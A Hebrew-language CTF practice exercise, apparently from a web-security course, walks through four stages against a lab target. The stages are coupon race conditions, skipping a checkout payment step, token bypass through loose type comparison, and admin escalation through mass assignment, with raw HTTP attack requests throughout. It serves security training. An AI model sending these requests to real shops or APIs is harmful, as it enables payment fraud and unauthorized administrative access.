לדלג לתוכן

אתגר CTF - לוגיקה עסקית - תרגול

סקירה כללית

אתגר CTF רב-שלבי שמשלב את כל הטכניקות שנלמדו בפרק זה: תנאי מרוץ, פגמי לוגיקה עסקית, בלבול טיפוסים, והשמה המונית. כל שלב מספק רמז לשלב הבא. הדגל הסופי נמצא בפאנל הניהול.

יעד: http://TARGET_URL
פרטי התחברות: user:password123
מטרה: מצאו את הדגל (flag) בפאנל הניהול


שלב 1 - תנאי מרוץ: הנחה מרובה

תיאור:
בחנות יש קוד הנחה DISCOUNT20 שנותן 20% הנחה. הקוד אמור לעבוד פעם אחת בלבד, אבל מנגנון ההגנה פגיע לתנאי מרוץ.

מטרה: החילו את קוד ההנחה מספר פעמים כדי לצבור קרדיט בחשבון.

גישה:

  1. התחברו וגשו לחנות
  2. הוסיפו מוצר לעגלה
  3. לכדו את בקשת החלת הקופון:
POST /api/cart/apply-coupon HTTP/1.1
Content-Type: application/json
Cookie: session=YOUR_SESSION

{"code": "DISCOUNT20"}
  1. שלחו את הבקשה ל-Burp Repeater
  2. שכפלו את הטאב 20-30 פעמים
  3. צרו קבוצה ושלחו ב-"Send group in parallel (single-packet attack)"
  4. בדקו את העגלה - כמה פעמים הוחלה ההנחה?

בדיקת הצלחה: אחרי רכישה, היתרה שלכם צריכה להיות מעל 500 קרדיט (ההנחות גורמות לסכום שלילי שמתווסף כזיכוי).

רמז לשלב הבא: בדקו את תגובת השרת אחרי הרכישה. יש הודעה שמכילה את הנתיב לשלב הבא.


שלב 2 - עקיפת תהליך מרובה שלבים: דילוג על תשלום

תיאור:
בחנות יש מוצר מיוחד "Premium Access" במחיר 9999 קרדיט. תהליך הרכישה כולל 4 שלבים, אבל שלב התשלום ניתן לדילוג.

מטרה: רכשו את "Premium Access" ללא תשלום בפועל.

גישה:

  1. הוסיפו את "Premium Access" לעגלה
  2. התחילו את תהליך הרכישה ולכדו את כל הבקשות:
שלב 1: POST /api/checkout/start      -> {"cartId": "..."}
שלב 2: POST /api/checkout/shipping   -> {"address": "..."}
שלב 3: POST /api/checkout/payment    -> {"method": "credit", "amount": 9999}
שלב 4: POST /api/checkout/confirm    -> {"orderId": "..."}
  1. בצעו את שלבים 1 ו-2 כרגיל
  2. דלגו על שלב 3 ושלחו ישירות את שלב 4:
POST /api/checkout/confirm HTTP/1.1
Content-Type: application/json
Cookie: session=YOUR_SESSION

{"orderId": "ORDER_ID_FROM_STEP_1"}
  1. בדקו אם ההזמנה אושרה

בדיקת הצלחה: תקבלו הודעה "Premium Access activated" והחשבון שלכם ישודרג.

רמז לשלב הבא: עם Premium Access, גשו ל-/api/premium/settings ומצאו את נקודת הכניסה לשלב הבא.


שלב 3 - בלבול טיפוסים: עקיפת אימות

תיאור:
באזור Premium יש API שדורש טוקן אימות. הטוקן נבדק בהשוואה רופפת (PHP או לוגיקה דומה).

מטרה: עקפו את בדיקת הטוקן וגשו לאזור המוגבל.

גישה:

  1. נסו לגשת לנקודת הקצה המוגנת:
GET /api/premium/admin-tools HTTP/1.1
Cookie: session=YOUR_SESSION

HTTP/1.1 401 Unauthorized
{"error": "Valid admin token required", "header": "X-Admin-Token"}
  1. נסו ערכים שונים עבור ה-header:
-- ניסיון 1: מחרוזת
GET /api/premium/admin-tools HTTP/1.1
X-Admin-Token: admin

-- ניסיון 2: ערך בוליאני (דרך JSON body או custom header)
-- השרת עשוי לפרש את הערך כ-boolean

-- ניסיון 3: ערך מספרי
GET /api/premium/admin-tools HTTP/1.1
X-Admin-Token: 0

-- ניסיון 4: magic hash
GET /api/premium/admin-tools HTTP/1.1
X-Admin-Token: 0e1234
  1. אם הבדיקה היא בצד שרת ב-PHP:
-- שליחה כ-JSON עם true
POST /api/premium/admin-tools HTTP/1.1
Content-Type: application/json

{"action": "list", "token": true}
  1. נסו גם null ומערך:
POST /api/premium/admin-tools HTTP/1.1
Content-Type: application/json

{"action": "list", "token": null}

POST /api/premium/admin-tools HTTP/1.1
Content-Type: application/json

{"action": "list", "token": []}

בדיקת הצלחה: תקבלו גישה ל-admin-tools עם רשימת פעולות זמינות.

רמז לשלב הבא: אחד הכלים ב-admin-tools הוא user-management. בדקו את המבנה שלו.


שלב 4 - השמה המונית: הסלמת הרשאות

תיאור:
באמצעות הגישה ל-admin-tools, גיליתם נקודת קצה לניהול משתמשים. המטרה: להפוך את החשבון שלכם לאדמין ולגשת לפאנל הניהול.

גישה:

  1. בדקו את נקודת הקצה לניהול משתמשים:
GET /api/admin/users/me HTTP/1.1
Cookie: session=YOUR_SESSION

HTTP/1.1 200 OK
{
    "id": 42,
    "username": "user",
    "email": "user@example.com",
    "role": "premium",
    "isAdmin": false,
    "permissions": ["read", "premium"],
    "flag_access": false
}
  1. נסו לעדכן את הפרופיל שלכם דרך נקודת קצה זו:
PUT /api/admin/users/me HTTP/1.1
Content-Type: application/json
Cookie: session=YOUR_SESSION

{
    "username": "user",
    "role": "admin",
    "isAdmin": true
}
  1. אם לא עובד ישירות, נסו גרסאות שונות:
-- ניסיון עם PATCH
PATCH /api/admin/users/me HTTP/1.1
Content-Type: application/json

{"role": "admin"}

-- ניסיון עם שדות שונים
{"is_admin": true}
{"permissions": ["read", "write", "admin"]}
{"flag_access": true}
{"accountType": "admin"}
  1. בדקו שוב את פרטי המשתמש - האם ה-role השתנה?
  2. גשו לפאנל הניהול:
GET /admin HTTP/1.1
Cookie: session=YOUR_SESSION

בדיקת הצלחה: תמצאו את הדגל בפאנל הניהול.


רמזים כלליים

אם נתקעתם בשלב 1:
- ודאו שאתם משתמשים ב-single-packet attack ולא בשליחה רגילה
- נסו להגדיל את מספר הבקשות המקבילות
- בדקו את כל התגובות - חלקן יצליחו וחלקן יכשלו

אם נתקעתם בשלב 2:
- מפו את כל נקודות הקצה לפני שמנסים לדלג
- ודאו שיש לכם את ה-orderId מהשלב הראשון
- נסו גם לשנות את ה-amount ל-0 בשלב התשלום

אם נתקעתם בשלב 3:
- בדקו את הודעת השגיאה בקפידה - היא עשויה לרמז על סוג הבדיקה
- נסו כל אחד מהטיפוסים: true, false, 0, null, [], ""
- אם זה PHP, הפתרון כנראה true או 0

אם נתקעתם בשלב 4:
- הפרמטרים הנכונים מופיעים בתגובת ה-GET
- נסו כל שדה בנפרד כדי לראות מה ניתן לשינוי
- אולי צריך לשנות יותר משדה אחד


מעבדות PortSwigger רלוונטיות

לתרגול נוסף, השלימו את המעבדות הבאות:

תנאי מרוץ:
- Limit overrun race conditions
- Bypassing rate limits via race conditions
- Multi-endpoint race conditions
- Partial construction race conditions
- Exploiting time-sensitive vulnerabilities

לוגיקה עסקית:
- Excessive trust in client-side controls
- High-level logic vulnerability
- Low-level logic flaw
- Inconsistent handling of exceptional input
- Inconsistent security controls
- Authentication bypass via flawed state machine
- Flawed enforcement of business rules
- Infinite money logic flaw
- Insufficient workflow validation
- Authentication bypass via encryption oracle


אתגרי CTF נוספים

למי שסיים את כל המעבדות, הנה אתגרים נוספים לתרגול:

  1. HackTheBox - Web challenges - חפשו אתגרים עם תגיות "business logic" ו-"race condition"
  2. PicoCTF - אתגרי web שמשלבים לוגיקה עסקית
  3. OWASP Juice Shop - אתגרים ברמות שונות שכוללים מניפולציית מחירים, דילוג על שלבים, ועוד
  4. Root Me - אתגרים בקטגוריית "Web - Server" הכוללים תנאי מרוץ ולוגיקה
  5. CryptoHack - אתגרים שמשלבים בלבול טיפוסים עם קריפטוגרפיה